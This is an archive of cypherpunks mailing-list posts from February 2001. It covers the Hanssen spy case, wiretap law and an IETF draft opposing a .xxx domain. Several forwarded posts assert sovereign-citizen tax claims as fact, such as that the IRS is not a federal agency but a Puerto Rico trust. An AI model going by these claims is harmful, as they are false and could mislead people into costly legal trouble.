 "She wouldn't listen," Mr. Dorfman said. "She insisted on speaking
and telling the judge about the 861 position and how as a sovereign
citizen of California the federal courts had no jurisdiction and
all sorts of gibberish."

 Mr. Dorfman said the speech caused the judge to add five months to
Mrs. Henderson's sentence beyond prosecutors' request.

 The judge gave Mr. Henderson an extra eight months.

 The 861
position is being advocated by a small but growing number of
business owners and others who, calling themselves the tax honesty
movement, say that the government operates the I.R.S. illegally.
These business owners have boasted in ads in USA Today and on the
Internet that they do not pay taxes and say the I.R.S. has not
acted against them. They cite that as proof that the tax laws are a
hoax.

 The case against the Hendersons began several years ago and grew
out of another case in which four other Californians, including a
lawyer, were convicted and are now in prison.




From tcmay at got.net  Wed Feb 28 08:34:19 2001
From: tcmay at got.net (Tim May)
Date: Wed, 28 Feb 2001 08:34:19 -0800
Subject: KYU-5, KG-84, KY-54 encryption devices
In-Reply-To: <NEBBJHBKILFDJEFIABHPKEDFCEAA.aimee.farr@pobox.com>
References: <NEBBJHBKILFDJEFIABHPKEDFCEAA.aimee.farr@pobox.com>
Message-ID: <a05010408b6c2d881af82@[207.111.241.61]>


At 9:19 AM -0600 2/28/01, Aimee Farr wrote:
>What are they?
>
>- Aimee

Search engines are the best way to answer such questions. A quick 
search with Google turns up numerous hits on these devices. (I 
suggest adding a narrowing word like "encryption" after the name of 
the device.)

One such hit gives a full description of one of these devices:

http://webhome.idirect.com/~jproc/crypto/kg84.html


And so on.


--Tim May
-- 
Timothy C. May         tcmay at got.net        Corralitos, California
Political: Co-founder Cypherpunks/crypto anarchy/Cyphernomicon
Technical: physics/soft errors/Smalltalk/Squeak/agents/games/Go
Personal: b.1951/UCSB/Intel '74-'86/retired/investor/motorcycles/guns




From tcmay at got.net  Wed Feb 28 08:49:43 2001
From: tcmay at got.net (Tim May)
Date: Wed, 28 Feb 2001 08:49:43 -0800
Subject: weird (fwd)
In-Reply-To: <Pine.LNX.3.96.1010228071626.5925E-100000@einstein.ssz.com>
References: <Pine.LNX.3.96.1010228071626.5925E-100000@einstein.ssz.com>
Message-ID: <a05010409b6c2dbf17e72@[207.111.241.61]>


At 7:16 AM -0600 2/28/01, Jim Choate wrote:
>
>---------- Forwarded message ----------
>Date: Tue, 27 Feb 2001 22:23:04 -0800
>From: Jon Stevens <jon at latchkey.com>
>To: coderpunks at toad.com
>Subject: weird
>
><http://www.cnn.com/2001/US/02/27/fbi.spy/index.html>
>
>>  The comment came from a letter that FBI officials said was encrypted on a
>>  computer diskette found in a package -- taped and wrapped in a black plastic
>>  trash bag -- that Hanssen dropped underneath a foot bridge in a park in
>>  Northern Virginia, immediately before his arrest.
>>
>>  The FBI decrypted the letter and described it in an affidavit 
>>filed in support
>>  of its search warrant.
>
>
>#1. I wonder what was used to encrypt the letter and how they were able to
>decrypt it. Did he give them the password? Was the encryption weak (it would
>be funny if he had used DES)? Blah blah blah...

The FBI acknowledged that they'd done some black-bag jobs on Hanssen, 
including wiretaps and access to his computer.

Not surprising at all that they had access to both his private key, 
assuming he was using something like PGP, and his pass phrase, no 
matter what system he was using. Keyboard sniffers are easy to 
install.


--Tim May
-- 
Timothy C. May         tcmay at got.net        Corralitos, California
Political: Co-founder Cypherpunks/crypto anarchy/Cyphernomicon
Technical: physics/soft errors/Smalltalk/Squeak/agents/games/Go
Personal: b.1951/UCSB/Intel '74-'86/retired/investor/motorcycles/guns




From b.chandler at gte.net  Wed Feb 28 05:50:52 2001
From: b.chandler at gte.net (B.Chandler)
Date: Wed, 28 Feb 2001 08:50:52 -0500
Subject: FWD: IRS is NOT "agency"
Message-ID: <LOBBKPIHHGHIIFDGGBOHGEAHCEAA.b.chandler@gte.net>


http://www4.law.cornell.edu/uscode/unframed/5/551.html
> 
> Sec. 551. Definitions 
> 
> For the purpose of this subchapter - 
> 

(1) ''agency'' means each authority of the
> Government of the 
> United States, whether or not it is within or
> subject to review 
> by another agency, but does not include - 
> (A) the Congress; 
> (B) the courts of the United States; 
> (C) the governments of the territories or
> possessions of the 
> United States; 
> (D) the government of the District of Columbia;
<---!!!

>IRS is not an
> "agency" either and, therefore, FOIA is
> not appropriate for them to answer.

>The implications are far-reaching;  so, we
> have petitioned a California federal court
> for declaratory relief on this important
> question.  We have asked a USDC judge to
> rule that IRS is not an "agency", as that
> term is defined in the FOIA, i.e. 5 U.S.C. 551.

> We argue they DO answer FOIA's, to maintain
> the lie that they are really a bureau within
> the U.S. Department of the Treasury.  For example,
> we have now received certified copies of 
> Form 61 Appointment Affidavits from IRS
> disclosure officers!
> 
> So, we DON'T get Form 61's for DOJ attorneys,
> who SHOULD have them;  and we DO get Form 61's
> for IRS employees, who should NOT have them.
> 
> This world of ours is upside down, yes? :)
> 
> Ah, but you already knew that, didn't you?  8-)
> 
> Along these same lines, IRS employees should
> NOT be executing Form 61 Appointment Affidavits
> either;  such affidavits are counterfeits,
> once it is shown that IRS is not U.S. Treasury;
> is domiciled in Puerto Rico;  and, therefore,
> is not, and cannot be, an "agency".
> 
> The IRS is Trust #62 in Puerto Rico, and
> the exclusion of the governments of
> territories and possessions supra,
> drives another BIG nail in their coffin.







From emc at artifact.psychedelic.net  Wed Feb 28 08:52:33 2001
From: emc at artifact.psychedelic.net (Eric Cordian)
Date: Wed, 28 Feb 2001 08:52:33 -0800 (PST)
Subject: Another Wiretap Criminal Exposed
Message-ID: <200102281652.f1SGqXp11718@artifact.psychedelic.net>


More "Zero Intelligence" from the public school system.

http://www.newsday.com/ap/text/national/ap448.htm

-----

NAVARRE, Fla. (AP) -- A high school student has been charged with
violating Florida's wiretapping law after tape recording a chemistry class
lecture.
   
Asher Zaslaw, 17, pleaded not guilty to the third-degree felony in
juvenile court Tuesday. She faces a variety of penalties, including
community service and probation.
   
Zaslaw said she recorded the October lecture at Navarre High School
because she was having difficulty in the class and wanted to maintain good
grades.

[snip]

-- 
Eric Michael Cordian 0+
O:.T:.O:. Mathematical Munitions Division
"Do What Thou Wilt Shall Be The Whole Of The Law"




From b.chandler at gte.net  Wed Feb 28 05:54:21 2001
From: b.chandler at gte.net (B.Chandler)
Date: Wed, 28 Feb 2001 08:54:21 -0500
Subject: FW: [SupremeLaw] meet Manuel Diaz Saldana, Secretary of the Treasury
Message-ID: <LOBBKPIHHGHIIFDGGBOHMEAHCEAA.b.chandler@gte.net>




-----Original Message-----
From: Paul Andrew Mitchell [mailto:supremelawfirm at yahoo.com]
Sent: Tuesday, October 10, 2000 4:23 PM
To: supremelaw at egroups.com
Subject: [SupremeLaw] meet Manuel Diaz Saldana, Secretary of the
Treasury


Departamento De Hacienda
Secretary of the Treasury
Manuel Diaz Saldana (aka Manuel Diaz-Saldana)
P.O. Box 4515
San Juan, Puerto Rico 00902

1-787-721-2020

found at:

http://www.supremelaw.com/authors/gould/part05.htm


See also:

http://www.law.emory.edu/1circuit/sept98/97-2347.01a.html

and search for "Secretary of the Treasury"!
(wanna buy some used tires?)


At 27 CFR 250.11, Meaning of terms, we find:

"Secretary.  The Secretary of the Treasury
of Puerto Rico."

"Secretary or his delegate.  The Secretary or
any officer or employee of the Department
of the Treasury of Puerto Rico duly authorized
by the Secretary to perform the function mentioned
or described in this part."

"Virgin Islands regulations.  Regulations issued
or adopted by the Governor of the Virgin Islands,
or his duly authorized agents, with the concurrence
of the Secretary of the Treasury of the United
States."


Thus, there is:

a Secretary of the Treasury of Puerto Rico

-and-

a Secretary of the Treasury of the United States!


And, the $64,000,000,000* question is this:

For which Secretary do IRS employees work?

(Film at 11 :)

*  that's "billions" folks!


/s/ Paul Andrew Mitchell, B.A., M.S.

p.s.  Moving right along, we are now in hot pursuit
of the UNITED STATES OF AMERICA [sic].  

Helpful hints:

28 CFR 0.55, 0.64-1, 0.64-2, 0.96 and 0.96b

Can you count the number of criminal indictments
that have been issued by panels of federal citizens
alleged to be federal grand juries, in the name of
the UNITED STATES OF AMERICA?




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From bheidh8d at earthlink.net  Wed Feb 28 06:05:33 2001
From: bheidh8d at earthlink.net (Robert L. Heid)
Date: Wed, 28 Feb 2001 09:05:33 -0500
Subject: PAT
Message-ID: <000401c0a199$417308a0$917ba8c0@D23S8B01>


I would like to receive information about buying a couple of your PATs.
Would you reply to this email with information?





From jchoate at dev.tivoli.com  Wed Feb 28 07:06:47 2001
From: jchoate at dev.tivoli.com (Jim Choate)
Date: Wed, 28 Feb 2001 09:06:47 -0600
Subject: Slashdot | Making PKI Work
Message-ID: <3A9D1407.8E293105@dev.tivoli.com>


http://slashdot.org/articles/01/02/28/1334227.shtml
-- 
   The Laws of Serendipity:

   1. In order to discover anything, you must be looking
      for something.

   2. If you wish to make an improved product, you must
      first be engaged in making an inferior one.  

   Tivoli Certification Group, OSCT
   James Choate                           jchoate at tivoli.com
   Senior Engineer                        512-436-1062




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Date: 28 Feb 2001 09:08:13 -0800
Subject: Adult Friend Finder Cupid Report for oddodoodo
Message-ID: <20010228170813.31148.qmail@e81.friendfinder.com>


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From aluger at hushmail.com  Wed Feb 28 09:09:13 2001
From: aluger at hushmail.com (aluger at hushmail.com)
Date: Wed, 28 Feb 2001 09:09:13 -0800 (PST)
Subject: FBI leaks Top Secret code cracking capabilities- NOT.  (Was: Re: weird (fwd))
Message-ID: <200102281715.JAA30791@user1.hushmail.com>


At Wed, 28 Feb 2001 08:49:43 -0800, Tim May <tcmay at got.net> wrote:

>
>At 7:16 AM -0600 2/28/01, Jim Choate wrote:
>>
>>---------- Forwarded message ----------
>>Date: Tue, 27 Feb 2001 22:23:04 -0800
>>From: Jon Stevens <jon at latchkey.com>
>>To: coderpunks at toad.com
>>Subject: weird
>>

>>>  The comment came from a letter that FBI officials said was encrypted 
on a
>>>  computer diskette found in a package -- taped and wrapped in a black 
plastic
>>>  trash bag -- that Hanssen dropped underneath a foot bridge in a park 
in
>>>  Northern Virginia, immediately before his arrest.
>>>
>>>  The FBI decrypted the letter and described it in an affidavit filed 
in support
>>>  of its search warrant.

>>#1. I wonder what was used to encrypt the letter and how they were 
>able to decrypt it. Did he give them the password? Was the encryption weak 
>(it would be funny if he had used DES)? Blah blah blah...
>
>The FBI acknowledged that they'd done some black-bag jobs on Hanssen,
> 
>including wiretaps and access to his computer.
>
>Not surprising at all that they had access to both his private key, 
>assuming he was using something like PGP, and his pass phrase, no 
>matter what system he was using. Keyboard sniffers are easy to 
>install.

If he was using PGP to encrypt this letter for a deaddrop then having his 
private key would do no good.  Only the recipiant's private key would make 
any difference.  (Unless he had "encrypt to self" set on- which seems rather 
silly).  I rather doubt that the Russian Secret Services would use PGP anyhow 
for encoding dead-drop messages.  No, likely it was either something of 
(clearly inferior) Russian design, or it is a misleading quote. 

I suspect the latter.

Why would the FBI allow to leak (much less leak themselves) the fact that 
they could decrypt whatever cipher the Russian handlers were using to give 
to their agents for dead drops?  Quite the reverse.  That's just basic OpSec. 
 They would have invented some other plausable way to have obtained the 
information.
Free, encrypted, secure Web-based email at www.hushmail.com

From b.chandler at gte.net  Wed Feb 28 06:09:38 2001
From: b.chandler at gte.net (B.Chandler)
Date: Wed, 28 Feb 2001 09:09:38 -0500
Subject: Where is IRS in Title 31 Organization 
Message-ID: <LOBBKPIHHGHIIFDGGBOHAEAJCEAA.b.chandler@gte.net>


GEE Quatloos, I cant even find "Internal Revenue Service" in title
31 under Organization of the Department Of the Treasury!

See 31 U.S.C. 301(f)(2):

  http://www.law.cornell.edu/uscode/31/301.html (f)(2)

This is the ONLY mention of the IRS that I can
find in the organization of the U.S. Treasury.

Title 31 HAS been enacted into positive law.





From declan at well.com  Wed Feb 28 06:12:45 2001
From: declan at well.com (Declan McCullagh)
Date: Wed, 28 Feb 2001 09:12:45 -0500
Subject: IETF Internet Draft: Why .xxx domain is a very bad idea
Message-ID: <5.0.2.1.0.20010228091237.0248eb60@mail.well.com>


[Donald Eastlake and I co-authored this IETF Internet Draft in advance of 
the March 18 meeting in Minneapolis. This is an inital draft, and comments 
are very welcome. You can also find the draft at: 
http://www.ietf.org/internet-drafts/draft-eastlake-xxx-00.txt --Declan]

***********


INTERNET-DRAFT                                       Donald Eastlake 3rd
                                                                 Motorola
                                                         Declan McCullagh
                                                               Wired News
Expires: August 2001                                       February 2001



                        .xxx Considered Dangerous
                        ---- ---------- ---------
                       <draft-eastlake-xxx-00.txt>



Status of This Document

    Distribution of this draft is unlimited. Comments should be sent to
    the authors.

    This document is an Internet-Draft and is in full conformance with
    all provisions of Section 10 of RFC 2026.  Internet-Drafts are
    working documents of the Internet Engineering Task Force (IETF), its
    areas, and its working groups.  Note that other groups may also
    distribute working documents as Internet-Drafts.

    Internet-Drafts are draft documents valid for a maximum of six months
    and may be updated, replaced, or obsoleted by other documents at any
    time.  It is inappropriate to use Internet- Drafts as reference
    material or to cite them other than as "work in progress."

    The list of current Internet-Drafts can be accessed at
    http://www.ietf.org/ietf/1id-abstracts.txt

    The list of Internet-Draft Shadow Directories can be accessed at
    http://www.ietf.org/shadow.html.



Copyright Notice

    Copyright (C) The Internet Society (2001).  All Rights Reserved.



Abstract

    Periodically there are proposals to require the use of a special top
    level name or an IP address bit to flag "adult" or "safe" material or
    the like.  This document explains why this is an ill considered idea.






D. Eastlake 3rd, D. McCullagh                                   [Page 1]

INTERNET-DRAFT         .xxx Considered Dangerous           February 2001


Table of Contents

       Status of This Document....................................1
       Copyright Notice...........................................1
       Abstract...................................................1

       Table of Contents..........................................2

       1. Background..............................................3
       2. Legal and Philisophical Problems........................4
       4. Technical Difficulties..................................6
       4.1 Domain Name System (DNS) and Other Names...............7
       4.1.1 Linguistic Problems..................................7
       4.1.2 The DNS Hierarchy and Use of TLDs....................8
       4.1.2 You Can't Control Who Points At You..................8
       4.1.3 Particular Protocol Considerations...................9
       4.1.3.1 Electronic Mail (SMTP).............................9
       4.1.3.2 Web Access (HTTP).................................10
       4.1.3.3 News (NNTP).......................................10
       4.1.3.4 Internet Relay Chat...............................10
       4.2 IP Addressing.........................................10
       4.2.1 Hierarchical Routing................................11
       4.2.2 IP Version 4 Addresses..............................12
       4.2.3 IP Version 6 Addresses..............................12
       4.3 PICS Labels...........................................13
       5. Conclusions............................................13

       References................................................14
       Authors Addresses.........................................15

       Full Copyright Statement..................................16
       Expiration and File Name..................................16




















D. Eastlake 3rd, D. McCullagh                                   [Page 2]

INTERNET-DRAFT         .xxx Considered Dangerous           February 2001


1. Background

    The concept of a .xxx, .sex, or similar top-level domain is
    periodically suggested by politicians and commentators. Other
    proposals have included a domain reserved exclusively for material
    viewed as appropriate for minors, or using IP address bits or ranges
    to segregate content.

    In an October 1998 report accompanying the Child Online Protection
    Act, the House Commerce committee said "there are no technical
    barriers to creating an adult domain, and it would be very easy to
    block all websites within an adult domain." The report also said that
    the committee was wary of regulating the computer industry and that
    any decision by the U.S. government "will have international
    consequences." [HOUSEREPORT]

    British Telecom has backed adult top-level domains, saying in a 1998
    letter to the U .S. Department of Commerce that it "strongly
    supported" that plan. The reason: "Sexually explicit services could
    then be legally required to operate with domain names in this gTLD
    [that] would make it much simpler and easier to control access to
    such sites..." [BT] One of ICANN's progenitors, the GTLD-MOU
    committee, suggested a "red-light -zone" top-level domain in a
    September 1997 request for comment. [GTLD-MOU]

    Some adult industry executives have endorsed the concept. In 1998,
    Seth Warshavsky, president of the Internet Entertainment Group, told
    the U.S. Senate Commerce committee that he would like to see a .adult
    domain. "We're suggesting the creation of a new top-level domain
    called '.adult' where all sexually explicit material on the Net would
    reside," Warshavsky said in an interview at the time. [WARSHAVSKY]
    More recently, other entrepreneurs in the industry have said that
    they do not necessarily object to the creation of an adult domain as
    long as they may continue to use .com.

    Conservative groups in the U.S. say they are not eager for such a
    domain, and prefer criminal laws directed at publishers and
    distributors of sexually-explicit material.  The National Law Center
    for Children and Families in Fairfax, Virginia, said in February 2001
    that it did not favor any such proposal. For different reasons, the
    American Civil Liberties Union and civil liberties groups also oppose
    it.

    Sen. Joseph Lieberman, the U.S. Democratic Party's vice presidential
    nominee, endorsed the idea at a June 2000 meeting of the federal
    Commission on Child Online Protection. Lieberman said in a prepared
    statement that "we would ask the arbiters of the Internet to simply
    abide by the same standard as the proprietor of an X-rated movie
    theater or the owner of a convenience store who sells sexually-
    explicit magazines." [LIEBERMAN]


D. Eastlake 3rd, D. McCullagh                                   [Page 3]

INTERNET-DRAFT         .xxx Considered Dangerous           February 2001


    In the 1998 law creating this commission, the U.S. Congress required
    the members to investigate "the establishment of a domain name for
    posting of any material that is harmful to minors." The commission
    devoted a section of its October 2000 report to that topic. It
    concluded that both a .xxx and a .kids domain are technically
    possible, but would require action by ICANN. The report said that an
    adult domain might be only "moderately effective" and raises privacy
    and free speech concerns. [COPAREPORT]

    The commission also explored the creation of a so-called red zone or
    green zone for content by means of allocation of a new set of IP
    addresses under IPv6. Any material not in one of those two zones
    would be viewed as in a grey zone and not necessarily appropriate or
    inappropriate for minors. Comments from commissioners were largely
    negative: "Effectiveness would require substantial effort to attach
    content to specific I P numbers. This approach could potentially
    reduce flexibility and impede optimal network performance. It would
    not be effective at blocking access to chat, newsgroups, or instant
    messaging."

    In October 2000, ICANN rejected a .xxx domain during its initial
    round of approving additional top-level domains. The reasons are not
    entirely clear, but former ICANN Chairwoman Esther Dyson said that
    the adult industry did not entirely agree that such a domain would be
    appropriate. One .xxx hopeful, ICM Registry of Ontario, Canada, in
    December 2000 asked ICANN to reconsider its decision. [ICM-REGISTRY]



2. Legal and Philisophical Problems

    When it comes to sexually-explicit material, every person, court, and
    government has a different view of what's acceptable and what is not.
    Attitudes change over time, and what is viewed as appropriate in one
    town may spark protests in the next. When faced with the slippery
    nature of what depictions of sexual activity should be illegal or
    not, one U.S. Supreme Court justice blithely defined obscenity as: "I
    know it when I see it."

    In the U.S., obscenity is defined as explicit sexual material that,
    among other things, violates "contemporary community standards" -- in
    other words, even at the national level, there is no agreed-upon rule
    governing what is illegal and what is not. Making matters more knotty
    is that there are over 200 United Nations country codes, and in most
    of them political subdivisions can impose their own restrictions.
    Even for legal nude modeling, age restrictions differ. They're
    commonly 18 years of age, but only 17 years of age in Sweden. A
    photographer in Oslo conducting what's viewed as a legal and proper
    photo shoot there likely would be branded a felon and child
    pornographer in the U.S.


D. Eastlake 3rd, D. McCullagh                                   [Page 4]

INTERNET-DRAFT         .xxx Considered Dangerous           February 2001


    Saudi Arabia, Iran, and China are not likely to have the same liberal
    views as, say, the Netherlands. Saudi Arabia, like some other
    nations, filters its Internet connection and has created a government
    committee to protect its society from web sites that officials view
    as immoral. Their views on what should be included in a .xxx domain
    would hardly be identical to those in more liberal democracies.

    Those wildly different opinions on sexual material make it improbable
    a global consensus can ever be reached on what is appropriate or
    inappropriate for a .xxx or .adult top-level domain. Moreover, the
    existence of such a domain would create an irresistible temptation on
    the part of conservative legislators to require controversial
    publishers to move to that domain.

    Some conservative politicians already have complained that ICANN did
    not approve .xxx in its October 2000 meeting. During a February 2001
    hearing in the U.S. House of Representatives, legislators warned that
    they "want to explore ICANN's rationale for not approving two
    particular top level domain names -- .kids and .xxx -- as a means to
    protect kids from the awful smut which is so widespread on the
    Internet."

    It seems plausible that only a few adult publishers, and not those
    who have invested resources in building a brand around a .com site,
    would voluntarily abandon their current domain name. Instead, they'd
    likely add a propel legislators in the U.S. and other countries to
    require them to publish exclusively from an adult domain, a move that
    would invite ongoing political interference with Internet governance
    and raise concerns about forced speech and self-labeling.

    In fact, the ultimate arbiter of generic top-level domain names -- at
    least currently -- is not ICANN, but the U.S. government. The U.S.
    Congress' General Accounting Office in July 2000 reported that the
    Commerce Department continues to be responsible for domain names
    allowed by the authoritative root. [GAO] The GAO's auditors concluded
    it was unclear whether the Commerce Department has the "requisite
    authority" under current law to transfer that responsibility to
    ICANN.

    The American Civil Liberties Union -- and other members of the
    international Global Internet Liberty Campaign -- caution that
    publishers speaking frankly about birth control, AIDS prevention, and
    gay and lesbian sex could be coerced into moving to an adult domain.
    Once there, they would be stigmatized and easily blocked by schools,
    libraries, companies, and other groups using filtering software.
    Publishers of such information who do not view themselves as
    pornographers and retain their existing addresses could be targeted
    for prosecution.

    The existence of an adult top-level domain would likely open the door


D. Eastlake 3rd, D. McCullagh                                   [Page 5]

INTERNET-DRAFT         .xxx Considered Dangerous           February 2001


    for related efforts, either policy or legislative. There are many
    different axes through which offensive material can be defined: Sex,
    violence, hate, heresy, subversion, blasphemy, illegal drugs,
    profanity, political correctness, glorification of crime, incitement
    to break the law, and so on. Such suggestions invite the ongoing
    lobbying of ICANN, the U.S. government, or other policy-making bodies
    by special-interest groups that are not concerned with the technical
    feasibility or practicality of their advice.

    An adult top-level domain could have negative legal repercussions by
    endangering free expression. U.S. Supreme Court Justice Sandra Day
    O'Connor has suggested that the presence of "adult zones" on the
    Internet would make a future Communications Decency Act (CDA) more
    likely to be viewed as constitutional. In her partial dissent to the
    Supreme Court's rejection of the CDA in 1997 [CDA], O'Connor said
    that "the prospects for the eventual zoning of the Internet appear
    promising." (The Supreme Court ruled the CDA violated free speech
    rights by making it a crime to distribute "indecent" or "patently
    offensive" material online.)

    Privacy could be harmed by such a proposal. It would become easier
    for repressive governments and other institutions to track visits to
    sites in a domain labeled as adult and record personally-identifiable
    information about the visitor. Repressive governments would instantly
    have more power to monitor naive users and prosecute them for their
    activities. It's also not clear how effective a top-level domain
    would be when controlling access to chat, email, newsgroups and
    instant messaging.



4. Technical Difficulties

    Even ignoring the philosophical and legal difficulties outlined
    above, there are substantial technical difficulties in attempting to
    impose content classification by domain names or IP addresses.
    Mandatory content labeling is usually advanced with the idea of using
    a top level domain name, discussed in section 4.1 below, but we also
    discuss the more fundamental possibility of using IP address bits or
    ranges in section 4.2 below.

    In section 4.3 difficulties with a few particular higher level
    protocols are discussed.  In some cases, these protocols use
    different name spaces.

    We also discuss PICS labels [PICS] as an alternative technology in
    section 4.4.

    Only a limited technical background is assumed so some basic
    information is included below and in some cases descriptions are


D. Eastlake 3rd, D. McCullagh                                   [Page 6]

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    simplified.



4.1 Domain Name System (DNS) and Other Names

    The most prominent user visible part of Internet naming and
    addressing is the domain name system [RFC 1034, 1035].  Domain Names
    are dotted sequences of labels such as aol.com, world.std.com,
    www.rosslynchapel.org.uk, or ftp.gnu.lcs.mit.edu [RFC 1035, 1591,
    2606].  They form an important part of most World Wide Web addresses
    or URLs [RFC 2396], commonly appearing right after "//".

    Actually, domain names just name nodes in a global distributed
    hierarchically delegated database.  A wide variety of information can
    be stored at these nodes including IP addresses of machines on the
    network (see section 4.2 below), such things as mail delivery
    information, and many other types of information.  Thus, the data
    stored at foo.example.com could be the numeric information for
    sending data to a particular machine, which would be used if you
    tried to browse <http://foo.example.com>, the name of a computer (say
    mailhost.example.com) to handle mail addressed to anyone
    @foo.example.com, and other information.

    There are also other naming systems in use, such as news group names
    and Internet Relay Chat (IRC) channel names.

    The usual labeling idea presented is to reserve a top level name,
    such as .xxx for "adult" material and/or .kids for "safe" material or
    the like.  Ignoring the definitional and legal problems there are
    technical and linguistic problems with this are described in the
    subsections below.



4.1.1 Linguistic Problems

    When using name labeling, the first problem is from whose language do
    you take the names to impose?  Words and acronyms can have very
    different meanings if different languages and the probability of
    confusion is multiplied when phonetic collisions are considered.

    As an example of possible problems, note that currently the
    government of Turkmenistan has suspended new registrations in ".tm",
    which had previously been a source of revenue, because some of the
    registered second level domain names may have been "legally obscene
    in Turkmenistan".  <http://www.nic.tm>





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4.1.2 The DNS Hierarchy and Use of TLDs

    An important aspect of the design of the Domain Name System (DNS) is
    the hierarchical delegation of data maintenance.  The DNS really only
    works, and has been able to scale the five orders of magnitude it has
    grown since its initial deployment, only due to this delegation.

    The first minor problem is that one would expect most computers or
    web sites to have a mix of material only some of which should be
    specially classified.  Using special TLDs multiples the number of DNS
    zones the site has to worry about.  For example, assume the site has
    already sorted its material into "kids", "normal, and "adult" piles.
    Without special TLD labels, it can store them under kids.example.net,
    adult.example.net, and other.example.net, for instance, which
    requires only the maintenance of the single example.net zone of
    database entries.  With special TLD labeling, at least example.net
    (for normal stuff), example.net.xxx, and example.net.kids would need
    to be maintained which are three separate zones in different parts of
    the DNS tree.  As the number of categories expands and the number of
    category combinations explodes, this quickly becomes completely
    unmanageable.



4.1.2 You Can't Control Who Points At You

    The DNS system works as a database and associates certain data,
    called resource records, or RRs, with domain names.  In particular,
    it can associate IP address resource records with domain names.  For
    example, when you browse a URL, most commonly the domain name within
    that URL is looked up in the DNS and the resulting address (see
    Section 4.2) is used to address the packets sent from your web
    browser or other software to the server or peer.

    Remember what we said in Section 4.1.1 about hierarchical delegation?
    Anyone controlling a DNS zone of data, say example.com, can insert
    data at that name or any deeper name (except to the extent they
    maintain delegations of some of the deeper namespace to yet others).
    So the controller of example.com can insert data so that
    purity.example.com has stored at it the same computer address which
    is at www.obscene.example.xxx.  This directs any reference to
    purity.example.com to use the associated IP address which is the same
    as the www.obscene.example.xxx web site.  The manager of that
    hypothetical web site, who controls the example.xxx zone, has no
    control over the example.com DNS zone and so is technically incapable
    of causing it to conform to any "xxx" labeling law.  Or, in the
    alternative, someone could create a name conforming to an adult
    labeling requirement that actually pointed to someone else's entirely
    unobjectionable site, perhaps for the purpose of polluting the
    labeling.


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    Thus, providers of data on the Internet cannot stop anyone from
    creating names pointing to their computer's IP address with
    misleading domain names.



4.1.3 Particular Protocol Considerations

    There are additional considerations related to particular protocols.
    We consider only a few here.  The first two, electronic mail and the
    World Wide Web, use domain name addressing.  The second two, net news
    and IRC, actually use different name spaces and illustrate further
    technical problems with name based labeling.



4.1.3.1 Electronic Mail (SMTP)

    The standard Internet electronic mail protocol separates "envelope"
    information from content [RFC 821, 822].  The envelope information
    indicates where a message claims to have originated and to whom it
    should be delivered.  The content has fields starting with labels
    like "From:" and "To:" but these actually have no effect and can be
    arbitrarily forged using simple normally available software, such a
    telnetting to the SMTP port on a mail server.  Content fields are not
    compared with envelope fields.

    While different mail client display envelope information and headers
    from the content of email differently, generally the more common
    content fields are given prominence.  Thus, while not exactly the
    same as content labeling, it should be noted that it is trivial to
    send mail to anyone with arbitrary domain names in the email
    addresses appearing in the From and To headers, etc.

    It is also easy set up a host to forward mail to a mailing list.
    Mail sent with normal mail tools to this forwarder will automatically
    have content headers reflecting the forwarder's name but the
    forwarder will change the envelope information and cause the mail to
    be actually sent to the original list.  For example, (with names
    disguised) there is a social mailing list innocuous at foo.example.org
    and someone set up a forwarder at cat-torturers at other.example.  Mail
    sent to the forwarder is forwarded and appears on the innocuous
    mailing list but with a "To: cat-torturers at other.example" header in
    its body.  In some cases, similar things can be done using the "bcc"
    or blind courtesy copy feature of Internet mail.

    Thus, standard Internet tools provide no way to control domain names
    appearing inside email headers.

    There is work proceeding on securing email; however, such efforts at


D. Eastlake 3rd, D. McCullagh                                   [Page 9]

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    present only allow you to verify whether or not a particular entity
    was the actual author of the mail.  They do not generally relate to
    controlling or authenticating domain names in the content of the
    mail.



4.1.3.2 Web Access (HTTP)

    At least with modern web servers and browsers supporting HTTP 1.1
    [RFC 2616], the domain name used to access the site is available to
    access different web sites even though they are on the same machine
    at the same IP address.

    (more to come)



4.1.3.3 News (NNTP)

    Net news uses hierarchical structured newsgroup names that are
    similar in appearance to domain names except that the most
    significant label is on the left and the least on the right, the
    opposite of domain names.  However, while the names are structured
    hierarchically, there is no central control.  Instead, news servers
    periodically connect to other news servers that have agreed to
    exchange messages with them and then they update each other on
    messages only in those newsgroups in which they wish to exchange
    messages.

    (more to come)



4.1.3.4 Internet Relay Chat

    Internet Relay Chat is another example of a service which uses a
    different name space.  (more to come)



4.2 IP Addressing

    A key characteristic of the Internet Protocol (IP) on which the
    Internet is based is that it breaks data up into "packets".  These
    packets are individually handled and routed from source to
    destination.  Each packet has in it a numeric address for the
    destination point to which the Internet will try to deliver the
    packet.



D. Eastlake 3rd, D. McCullagh                                  [Page 10]

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    (End users do not normally see these numeric addresses but instead
    deal with "domain names" as described in section 4.1 above.)

    The numeric address system now primarily in use is called IPv4, or
    Internet Protocol Version 4, which provides for 32 bit addresses.
    There is a move to migrate to IPv6, which provides for 128 bit
    addresses.

    One problem in using addressing for content filtering is that this is
    a very coarse technique.  IP addresses address network interfaces
    which usually correspond to entire computer systems which could house
    multiple web pages, sets of files, etc., only a small part of which
    it was desired to block or enable.  Increasingly, a single IP address
    may correspond to a NAT (Network Address Translation) box [NAT] which
    hides multiple computers behind it, although in that case these
    computers are usually not servers.

    However, even beyond this problem of coarse granularity, the
    practical constraints of hierarchical routing make the allocation of
    even a single IPv4 address bit or any significant number of IPv6
    address bits impossible.



4.2.1 Hierarchical Routing

    As packets of data flow through the Internet, decisions must be made
    as to how to forward them "towards" their destination.  This is
    normally done by comparing the initial bits of the packet destination
    address to entries in a "routing table" and forwarding the packets as
    indicated by the table entry with the longest prefix match.

    While the Internet is actually a general mesh, if, for simplicity, we
    consider it to have a central backbone at the "top", a packet is
    typically routed as follows:

    The local networking code looks at its routing table to determine if
    the packet should be sent directly to another computer on the "local"
    network, to a router to specially forward it to another nearby
    network, or routed "up" to a "default" router to forward it to a
    higher level service provider's network.  If the packet's destination
    is "far enough away" it will eventually get forwarded up to a router
    on the backbone.  Such a router can not sent the packet "up" since it
    is at the top or "default free" zone and must have a complete table
    of what other top level router to send the packet to.  Currently,
    such top level routers are very large and expensive devices. They
    must be able to maintain tables of tens of thousands of routes.  When
    the packet gets to the top level router of the part of the network
    within which its destination lies, it get forwarded "down" to
    successive routers which are more and more specific and local until


D. Eastlake 3rd, D. McCullagh                                  [Page 11]

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    eventually its gets to a router on the local network where its
    destination address lies.  This local router sends the packet
    directly to the destination computer.

    Because all of these routing decisions are made on a longest prefix
    match basis, it can be seen that IP addresses are not general names
    or labels but are intimately associated with the actual topology and
    routing structure of the network.  If there were assigned at random,
    routers would be required to remember so many specific routes for
    specific addresses that it would exceed the current technical
    capabilities for router design.

